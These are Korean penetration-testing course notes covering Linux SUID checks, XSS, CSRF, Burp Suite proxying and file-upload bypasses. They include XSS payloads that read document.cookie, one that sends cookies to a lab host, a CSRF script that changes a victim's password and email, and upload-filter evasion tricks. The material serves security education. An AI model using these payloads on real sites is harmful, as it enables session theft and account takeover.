34일차 복습

계정 생성 관여 디렉토리 /etc/login.defs    /etc/default/useradd  /etc/skel
// /etc/skel : 모든 사용자 추가 시 들어가는 파일들이 존재

계정 관리 디렉토리 /etc/passwd /etc/shadow /etc/group &home 

해커들은 해킹을 위해 기본적으로 정보를 수집을 해야한다.
예를 들어, 포트번호에 대한 서비스 용도, 

**정보** **수집 방법**
RCE : 원격으로 접속하여 시스템을 장악

LPE : 권한 상승을 이용해 시스템을 장악 

yum -y install 

RUID

EUID

SetUID

SetGID

리눅스에서 모의해킹

tail -f /var/log/secure

/var/log/messages 

ps -ef | grep bash : pid,ppid로 권한 확인

echo $$ : 자신의 pid 확인 

pstree | grep bash : pstree로 확인함 (권한은 알 수 없음)
pstree -a | grep bash 

불필요한 suid , sgid 확인해보기
find /tmp -type f \\( -perm -4000 -o -perm -2000 \\) -ls : 불필요한 suid sgid 확인

which wall

ls -l /usr/bin/wall

sgid가 설정되어있다.(tty 그룹자로)

sudo chmod g-s /usr/bin/wall

ls -l /usr/bin/wall

555로 설정됨(setgid 없어짐)

식별(identification) : ID
인증(Authentication) : PW
권한 부여(Authorization) : SID

패스워드 크래킹의 이해

해시의 암호화 (무결성을 보장)

사전대입공격 : 사용자가 설정하는 대부분의 패스워드에 특정 패턴이 있음을 착안

36일차 복습

취약점 점검
- 체크리스트 기반으로 취약점을 확인하는 과정
- 신뢰할 수 있는 체크리스트를 갑/을 관계에서 최 회의중에 정함

모의해킹
- 취약점 점검을 통해 노출된 취약점이 회사 자산에 어떠한 영향을 미치는지
시나리오 기반으로 검증하는 과정

3계층 웹 아키텍쳐(p4): client side, server side, client side script, server side script

OWASP Top 10  : 과거에는 CVE 를 기준으로 선정하였다.
국내에서도 2004년쯤 웹 보안 취약점에 대한 기준이 없어 OWASP를 이용했었다.
-> 좋은 방향이 아니여서 KISA에서 홈페이지 취약점 가이드를 새로 만듬

웹 보안 진단

주요정보통신기반시설_기술적_취약점_분석 + 평가_방법_상세가이드.pdf 참조

645p-647p : 버퍼 오버플로우, 포맷스트링
649p-721p :

Web 취약점 분석,평가 항목

자동화 공격 : 패스워드 다수 오류시 계정이 잠김 // 서비스 running 중에는 스캐너 돌리면 안됨!

dom xss script

문서 객체 모델(The Document Object Model, 이하 **DOM**) 은 HTML, XML 문서의 
프로그래밍 interface 이다. DOM은 문서의 구조화된 표현(structured representation)을
 제공하며 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조,
 스타일, 내용 등을 변경할 수 있게 돕는다. DOM 은 구조화된 nodes와 property 와 method 를
 갖고 있는 objects로 문서를 표현한다. 이들은 웹 페이지를 스크립트 또는 프로그래밍 
언어들에서 사용될 수 있게 연결시켜주는 역할을 담당한다.

<script>alert(document.cookie);</script> : 사용자의 쿠키를 알려준다.

cookie : 웹사이트 방문시 사용자의 컴퓨터에 설치하는 기록 정보 파일,
사용자가 로그인한 기록으로 웹 페이지를 이용할 때 남는 기록을 쿠키로써 저장함으로써
사용자 권한에 맞는 웹페이지를 보여주도록 하는 것
쿠키 종류
1. persistent cookie :  브라우져를 종료해도 사용자의 메모리에 저장됨 (보안이 정말 취약)
2. Session cookie :  일시적으로 브라우저에서 사용됨
<script>alert('xss');</script>
<script>prompt('xss2');</script>
<script>confirm('xss3');</script>
<script>alert(document.cookie);</script>
<script>document.write('test');</script>
<script>document.write(document.cookie);</script> /쿠키 확인할 수 있다.

CSRF 공격

CSRF 개념 : 웹 어플리케이션에서 clinet가 자신의 의지와는 무관하게 공격자가 의도한 행위
로 의해 웹사이트에서 자신의 계정을 수정,삭제,등록하게 만드는 공격

기능 : client의 권한을 도용해 중요 기능을 실행하는 것
조건 : 1. CSRF 공격을 위해 client의 계정이 로그인상태여야 함
			 2. client가 해커가 만든 피싱 사이트에 접속해야함

 CSRF [원인] : 개발자의 입렵값 검증(예외처리)이 되지 않아서 필요한 script 이상의 스크립트가 
client 브라우저에서 실행 
+ **프로세스 검증 누락** 또는 불충분한 인증

방식 : GET/HOST 방식

[실습]
회원정보 중 패스워드를 변경하는 CSRF 코드를 작성하기.

회원정보에서 소스 보기 클릭
<form name='form' action='/member/mem_modify_ok.asp' method='post'>
form 태그가 들어간 소스코드 영역에는 회원정보들이 들어가는 경우가 많다.
+ input tag 같은 것을 이용해 변수에 값을 받는 기능을 넣어준다.
action 태그는 입력한 값을 넘겨주는 주소정보가 들어간다. method = http method(post,get)를 선언한다.

HTTP GET METHOD
HTTP POST METHOD : http body 영역에 데이터를 담아서 처리
 
	1. <script src='<http://192.168.30.252/XSSAttack/Attack_Request.asp?cookie="+document.cookie+">'></script>
  2. /member/mem_modify_ok.asp?pwd=1111&name=너해킹됐어ㅋㅋ&[email protected]
	
	3. 위의 두 줄의 코드를 합쳐 CSRF GET방식 이용 
 <script src='<http://192.168.30.252/member/mem_modify_ok.asp?pwd=1111&name=너해킹ㅋㅋ&[email protected]>'></script>

//자동화 프레임워크도 존재하니 알아보기~(ex) set toolkit을 이용한 공격)

필수! 스킬) 버프 스위트(burp suite)

**개념설명**
프록시(Proxy) : 웹통신시 Client - proxy - webserver 로써 중간자역할을 하는 것
프록시가 가지고 있는 문제점 : 

응용 프로그램 설치 : burp suite community ver , google extension-falocn proxy

client가 post한 데이터를 proxy가 절차에 의해 webserver에 보내주는 기능 
-- 이떄 client와 server 사이에서 데이터를 조작할 수 있다. (ex) jpg파일만 등록 가능한 게시판에
zip 등 여러 포맷의 파일을 등록할 수 있다.)

37일차 복습

파일 업로드의 이해

파일에 불필요한 업로드는 2차 피해를 야기한다.
ex) 악성코드 -> 아이유 이쁜.exe 

2차 피해가 가는 이유 :
1. 브라우저가 확장자를 보고 판단한 포맷 (content-type)
 개발자가 content-type만을 보고 파일의 종류를 파악하면
공격자가 파일전송시 content-type 값만 변경하면 첨부파일을 속일 수 있다.
ex) burp suite를 이용해 proxy를 써버리면 content-type을 바꿀 수 있음 (버프 스위트이용)

2. 개발자가 확장자를 보고 판단하는 포맷을 서버쪽으로 넘어간 파일의 확장자를 보고 판단
하지만 각 웹 서버의 web application 언어에 따라 버그가 존재한다.
ex) 아이유.jpg;exe 같은 파일은 웹 언어에 따라 jpg를 확장자로 판단하거나 exe를 확장자로 판단
-> 만약 jpg로 인식한다면 악성파일을 서버에서 실행 할 수 있다.

3. 개발자가 파일의 MAGIC NUM 정보를 확인하고 판단. -> 이것도 우회방법이 존재.
	php 환경에서 png 파일을 업로드하면 png 파일 포맷을 이용한 webshell 이 존재.
-> 3번 방법도 허용해주는 확장자를 제한해서 사용해야 한다.
=> 그래도 가장 안전하게 보호 하는 방법이긴 함!
/MAGIC NUM : content-type이 아닌 포맷마다 다른 정보를 심어 pc가 포맷의 방식을 확인하는 것

Untitled